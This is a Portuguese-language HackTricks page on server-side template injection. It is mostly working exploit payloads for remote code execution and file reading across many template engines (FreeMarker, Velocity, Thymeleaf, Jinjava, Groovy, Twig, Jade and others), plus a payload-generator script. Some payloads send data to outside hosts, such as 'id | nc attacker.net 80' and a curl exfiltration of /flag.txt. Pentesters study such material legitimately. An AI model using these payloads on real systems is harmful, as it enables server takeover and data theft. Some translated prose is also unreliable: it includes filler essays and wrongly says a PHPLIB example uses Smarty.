hacktricks/pentesting-web/ssti-server-side-template-injection/README.md
2023-06-06 18:56:34 +00:00

57 KiB
Raw Blame History

SSTI (Injeção de Modelo do Lado do Servidor)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

O que é injeção de modelo do lado do servidor?

Uma injeção de modelo do lado do servidor ocorre quando um invasor é capaz de usar a sintaxe nativa do modelo para injetar uma carga maliciosa em um modelo, que é então executado no lado do servidor.

Os motores de modelo são projetados para gerar páginas da web combinando modelos fixos com dados voláteis. Os ataques de injeção de modelo do lado do servidor podem ocorrer quando a entrada do usuário é concatenada diretamente em um modelo, em vez de ser passada como dados. Isso permite que os invasores injetem diretivas de modelo arbitrárias para manipular o motor de modelo, muitas vezes permitindo que eles assumam o controle completo do servidor.

Um exemplo de código vulnerável pode ser visto abaixo:

$output = $twig->render("Dear " . $_GET['name']);

No exemplo anterior, parte do modelo em si está sendo gerada dinamicamente usando o parâmetro name do método GET. Como a sintaxe do modelo é avaliada no lado do servidor, isso potencialmente permite que um invasor coloque uma carga útil de injeção de modelo do lado do servidor dentro do parâmetro name da seguinte forma:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construindo um ataque de injeção de modelo do lado do servidor

Detectar

Assim como em qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar fuzzing do modelo injetando uma sequência de caracteres especiais comumente usados em expressões de modelo, como o poliglota ${{<%[%'"}}%\.
Para verificar se o servidor é vulnerável, você deve observar as diferenças entre a resposta com dados regulares no parâmetro e a carga útil fornecida.
Se um erro for lançado, será bastante fácil descobrir que o servidor é vulnerável e até mesmo qual motor está sendo executado. Mas você também pode encontrar um servidor vulnerável se estiver esperando que ele reflita a carga útil fornecida e ela não estiver sendo refletida ou se houver alguns caracteres ausentes na resposta.

Detectar - Contexto de texto simples

A entrada fornecida está sendo renderizada e refletida na resposta. Isso é facilmente confundido com uma vulnerabilidade simples XSS, mas é fácil diferenciar se você tentar definir operações matemáticas dentro de uma expressão de modelo:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detectar - Contexto do código

Nesses casos, a entrada do usuário está sendo colocada dentro de uma expressão de modelo:

engine.render("Hello {{"+greeting+"}}", data)

O acesso à página pode ser feito através de uma URL como: http://vulnerable-website.com/?greeting=data.username

Se você alterar o parâmetro greeting para um valor diferente, a resposta não conterá o nome de usuário, mas se você acessar algo como: http://vulnerable-website.com/?greeting=data.username}}hello, então a resposta conterá o nome de usuário (se os caracteres de fechamento da expressão do modelo forem }}).
Se ocorrer um erro durante esses testes, será mais fácil descobrir que o servidor é vulnerável.

Identificação

Depois de detectar o potencial de injeção de modelo, o próximo passo é identificar o mecanismo de modelo.
Embora existam muitas linguagens de modelo, muitas delas usam uma sintaxe muito semelhante que é escolhida especificamente para não entrar em conflito com os caracteres HTML.

Se você tiver sorte, o servidor estará imprimindo os erros e você poderá encontrar o mecanismo usado dentro dos erros. Alguns payloads possíveis que podem causar erros:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Caso contrário, você precisará testar manualmente diferentes payloads específicos da linguagem e estudar como eles são interpretados pelo mecanismo de modelo. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando sintaxe de diferentes mecanismos de modelo. Você pode então observar se eles são avaliados com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte:

Exploração

Leitura

O primeiro passo após encontrar a injeção de modelo e identificar o mecanismo de modelo é ler a documentação. As áreas-chave de interesse são:

  • Seções 'Para autores de modelos' que cobrem a sintaxe básica.
  • 'Considerações de segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis.
  • Listas de métodos, funções, filtros e variáveis integrados.
  • Listas de extensões/plugins - alguns podem estar habilitados por padrão.

Exploração

Assumindo que nenhum exploit tenha se apresentado, o próximo passo é explorar o ambiente para descobrir exatamente o que você tem acesso. Você pode esperar encontrar tanto objetos padrão fornecidos pelo mecanismo de modelo, quanto objetos específicos do aplicativo passados para o modelo pelo desenvolvedor. Muitos sistemas de modelo expõem um objeto 'self' ou namespace contendo tudo em escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.

Se não houver um objeto self integrado, você terá que forçar o nome das variáveis usando SecLists e a coleção de wordlists do Burp Intruder.

Os objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes modelos dentro de um aplicativo, portanto, esse processo deve ser aplicado idealmente a cada modelo distinto individualmente.

Ataque

Neste ponto, você deve ter uma ideia clara da superfície de ataque disponível e ser capaz de prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto do aplicativo mais amplo - algumas funções podem ser usadas para explorar recursos específicos do aplicativo. Os exemplos a seguir usarão a injeção de modelo para acionar a criação arbitrária de objetos, leitura/gravação arbitrária de arquivos, inclusão remota de arquivos, divulgação de informações e vulnerabilidades de escalonamento de privilégios.

Ferramentas

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Exploits

Genérico

Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:

Java

Java - Injeção básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Recuperar as variáveis de ambiente do sistema

Para recuperar as variáveis de ambiente do sistema em Java, podemos usar a classe System e o método getenv(). Este método retorna um objeto Map que contém todas as variáveis de ambiente do sistema e seus valores.

Map<String, String> env = System.getenv();
for (String envName : env.keySet()) {
    System.out.format("%s=%s%n", envName, env.get(envName));
}

Este código percorre todas as variáveis de ambiente do sistema e imprime seus nomes e valores.

${T(java.lang.System).getenv()}

Java - Recuperar /etc/passwd

Para recuperar o arquivo /etc/passwd em um servidor vulnerável a SSTI, você pode usar o seguinte código Java:

${new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())).lines().collect(java.util.stream.Collectors.joining(System.lineSeparator()))}

Este código executa o comando cat /etc/passwd no servidor e retorna o conteúdo do arquivo /etc/passwd.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Você pode testar seus payloads em https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legado)
  • ${7*'7'} Nada
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass de Sandbox

⚠️ só funciona em versões do Freemarker abaixo de 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Mais informações

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mais informações

Thymeleaf (Java)

A expressão de teste típica para SSTI é ${7*7}. Essa expressão também funciona no Thymeleaf. Se você quiser obter execução remota de código, pode usar uma das seguintes expressões de teste:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

No entanto, como mencionamos antes, as expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em uma localização diferente no modelo, o Thymeleaf suporta inline de expressão. Para usar esse recurso, você deve colocar uma expressão dentro de [[...]] ou [(...)] (selecione um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, uma carga útil de detecção SSTI simples para Thymeleaf seria [[${7*7}]].

No entanto, as chances de que a carga útil de detecção acima funcione são muito baixas. As vulnerabilidades SSTI geralmente ocorrem quando um modelo é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite modelos gerados dinamicamente e todos os modelos devem ser criados anteriormente. Portanto, se um desenvolvedor quiser criar um modelo a partir de uma string on the fly, eles precisariam criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.

Se olharmos mais profundamente na documentação do mecanismo de modelo Thymeleaf, encontraremos um recurso interessante chamado pré-processamento de expressão. As expressões colocadas entre dois sublinhados (__...__) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:

#{selection.__${sel.code}__}

Exemplo vulnerável

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Mais informações

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Framework Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Burlar filtros

Múltiplas expressões de variáveis podem ser usadas, se ${...} não funcionar, tente #{...}, *{...}, @{...} ou ~{...}.

  • Ler /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para geração de payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}' 

count = 1
for i in converted:
    if count == 1:
        base_payload += f"(T(java.lang.Character).toString({i}).concat"
        count += 1
    elif count == len(converted):
        base_payload += f"(T(java.lang.Character).toString({i})))"
    else:
        base_payload += f"(T(java.lang.Character).toString({i})).concat"
        count += 1

print(base_payload + end_payload)

Mais Informações

Manipulação de Visualização do Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versão antiga do Pebble ( < versão 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova versão do Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava é uma linguagem de modelo Java segura para o sandbox que é usada para renderizar modelos. Ele fornece uma ampla gama de recursos, incluindo herança de modelos, macros, filtros e muito mais. No entanto, ele também é vulnerável a ataques de injeção de modelo do lado do servidor (SSTI) se não for usado corretamente.

Para explorar uma vulnerabilidade de SSTI no Jinjava, você pode tentar injetar código malicioso em uma variável de modelo. Isso pode ser feito usando a sintaxe {{ <code> }}, onde <code> é o código que você deseja injetar. Por exemplo, se você quiser executar o comando ls no servidor, pode tentar injetar o seguinte código:

{{ ''.getClass().forName('java.lang.Runtime').getRuntime().exec('ls') }}

Isso deve listar o conteúdo do diretório atual no servidor. No entanto, tenha em mente que a execução de código malicioso em um servidor sem permissão é ilegal e pode resultar em consequências graves. Portanto, use essas técnicas apenas para fins educacionais e éticos.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/

Jinjava - Execução de Comandos

Corrigido por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Mais informações

Hubspot - HuBL (Java)

  • Delimitadores de declaração {% %}
  • Delimitadores de expressão {{ }}
  • Delimitadores de comentário {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the 







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Mais informações

Linguagem de Expressão - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados). O EL é usado por várias tecnologias JavaEE, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Dependência e Contextos para Java EE (CDI).
Verifique a seguinte página para aprender mais sobre a exploração dos interpretadores EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Este bypass do Security Manager foi retirado deste writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Mais informações

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Erro
  • {{foobar}} Nada
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - Formato de Template

Twig é um mecanismo de template moderno para PHP. É uma biblioteca poderosa e flexível que permite injetar dados dinamicamente em modelos de página da web. O Twig é usado em muitos sistemas de gerenciamento de conteúdo, como o Drupal e o Symfony, e é uma das bibliotecas de template mais populares para PHP.

O Twig usa uma sintaxe simples e fácil de entender que permite aos desenvolvedores criar modelos de página da web complexos com facilidade. Ele também inclui recursos avançados, como herança de modelo, macros e filtros, que permitem que os desenvolvedores criem modelos de página da web altamente personalizados e reutilizáveis.

No entanto, o Twig também é vulnerável a ataques de injeção de modelo do lado do servidor (SSTI). Os atacantes podem explorar essas vulnerabilidades para injetar código malicioso nos modelos de página da web e executá-lo no servidor. É importante que os desenvolvedores estejam cientes dessas vulnerabilidades e tomem medidas para proteger seus aplicativos contra elas.

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Mais informações

Plates (PHP)

Plates é inspirado no Twig, mas é um mecanismo de modelo PHP nativo em vez de um mecanismo de modelo compilado.

controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Injeção de modelo do lado do servidor (SSTI)

A Injeção de modelo do lado do servidor (SSTI) é uma vulnerabilidade de segurança que permite que um invasor execute código do lado do servidor em um aplicativo da web. Isso ocorre quando um aplicativo da web permite que o usuário insira dados que são usados para construir um modelo do lado do servidor. Se o aplicativo não validar adequadamente esses dados, um invasor pode inserir código malicioso que será executado pelo servidor.

Como funciona a SSTI?

A SSTI ocorre quando um aplicativo da web usa um mecanismo de modelo que permite que o usuário insira dados que são usados para construir um modelo do lado do servidor. O modelo é então renderizado pelo servidor e enviado ao navegador do usuário. Se o aplicativo não validar adequadamente esses dados, um invasor pode inserir código malicioso que será executado pelo servidor.

Como explorar a SSTI?

A exploração da SSTI geralmente envolve a inserção de código malicioso em um modelo do lado do servidor. Isso pode ser feito de várias maneiras, dependendo do mecanismo de modelo usado pelo aplicativo da web. Alguns mecanismos de modelo populares incluem Jinja2, Twig, Freemarker e Velocity.

Para explorar a SSTI, um invasor pode inserir código malicioso em um modelo do lado do servidor e enviar a solicitação para o aplicativo da web. O servidor renderizará o modelo e executará o código malicioso, permitindo que o invasor execute comandos no servidor.

Como prevenir a SSTI?

A prevenção da SSTI envolve a validação adequada dos dados de entrada do usuário. Os aplicativos da web devem validar todos os dados de entrada do usuário e garantir que eles não possam ser usados para injetar código malicioso em modelos do lado do servidor.

Além disso, os aplicativos da web devem usar mecanismos de modelo seguros que não permitem a execução de código malicioso. Alguns mecanismos de modelo seguros incluem Mustache e Handlebars.

Conclusão

A SSTI é uma vulnerabilidade de segurança séria que pode permitir que um invasor execute código do lado do servidor em um aplicativo da web. Os desenvolvedores de aplicativos da web devem estar cientes dessa vulnerabilidade e tomar medidas para preveni-la em seus aplicativos.

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Injeção de modelo do lado do servidor (SSTI)

A Injeção de modelo do lado do servidor (SSTI) é uma vulnerabilidade de segurança que ocorre quando um aplicativo da web permite que os usuários insiram código em um modelo que é posteriormente executado no servidor. Isso pode permitir que um invasor execute código malicioso no servidor, o que pode levar a uma série de problemas de segurança, incluindo vazamento de informações confidenciais.

Técnicas de exploração

Existem várias técnicas que podem ser usadas para explorar vulnerabilidades SSTI, incluindo:

  • Inserção de código malicioso em um modelo que é posteriormente executado no servidor.
  • Exploração de falhas de validação de entrada para inserir código malicioso em um modelo.
  • Aproveitamento de recursos do servidor para executar código malicioso em um modelo.

Prevenção

Para prevenir vulnerabilidades SSTI, é importante seguir as práticas recomendadas de segurança da web, incluindo:

  • Validar todas as entradas do usuário antes de usá-las em um modelo.
  • Usar bibliotecas de modelo seguras que não permitem a execução de código malicioso.
  • Limitar o acesso do usuário a recursos do servidor que podem ser usados para executar código malicioso.
  • Manter o software do servidor atualizado com as últimas correções de segurança.

Exemplos de exploração

Os exemplos de exploração de vulnerabilidades SSTI podem variar dependendo do aplicativo da web específico e da tecnologia subjacente. Alguns exemplos comuns incluem:

  • Inserção de código malicioso em um modelo que é posteriormente executado no servidor para obter acesso não autorizado a informações confidenciais.
  • Aproveitamento de falhas de validação de entrada para executar código malicioso em um modelo e comprometer o servidor.
  • Uso de recursos do servidor para executar código malicioso em um modelo e comprometer o servidor.

Conclusão

A Injeção de modelo do lado do servidor (SSTI) é uma vulnerabilidade de segurança séria que pode levar a uma série de problemas de segurança, incluindo vazamento de informações confidenciais e comprometimento do servidor. É importante seguir as práticas recomendadas de segurança da web e manter o software do servidor atualizado para prevenir vulnerabilidades SSTI.

<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

PHPlib e HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.

authors.tpl

<html>
 <head><title>{PAGE_TITLE}</title></head>
 <body>
  <table>
   <caption>Authors</caption>
   <thead>
    <tr><th>Name</th><th>Email</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>
  </table>
 </body>
</html>

authors.php

Este arquivo é um exemplo de como a injeção de modelo do lado do servidor (SSTI) pode ser explorada em um site. A vulnerabilidade SSTI ocorre quando um aplicativo da web permite que o usuário insira dados que são posteriormente processados como um modelo. Se o aplicativo não validar adequadamente os dados de entrada, um invasor pode inserir código malicioso que será executado no servidor.

Neste exemplo, o arquivo authors.php é vulnerável a uma injeção SSTI porque ele usa o mecanismo de modelo Smarty e não valida adequadamente a entrada do usuário. Um invasor pode explorar essa vulnerabilidade para executar código arbitrário no servidor e, potencialmente, obter acesso não autorizado a dados confidenciais.

<?php
//we want to display this author list
$authors = array(
    'Christian Weiske'  => 'cweiske@php.net',
    'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
    $t->setVar('AUTHOR_NAME', $name);
    $t->setVar('AUTHOR_EMAIL', $email);
    $t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade é um mecanismo de modelo de servidor que permite a injeção de código no lado do servidor. Ele é usado para gerar HTML dinamicamente no servidor e é comumente usado em aplicativos NodeJS. A injeção de modelo do lado do servidor (SSTI) pode ocorrer quando o aplicativo usa o Jade para renderizar modelos sem sanitizar adequadamente a entrada do usuário. Isso pode permitir que um invasor injete código malicioso no modelo, que é então executado no servidor. Para explorar essa vulnerabilidade, um invasor pode enviar uma carga útil maliciosa como entrada do usuário, que é então injetada no modelo e executada no servidor.

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Mais informações

patTemplate (PHP)

patTemplate é um mecanismo de modelagem PHP não compilado que usa tags XML para dividir um documento em diferentes partes.

<patTemplate:tmpl name="page">
  This is the main page.
  <patTemplate:tmpl name="foo">
    It contains another template.
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    Hello {NAME}.<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Travessia de caminho (mais informações aqui).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erro
  • ${7*7} = ${7*7}
  • Nada
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
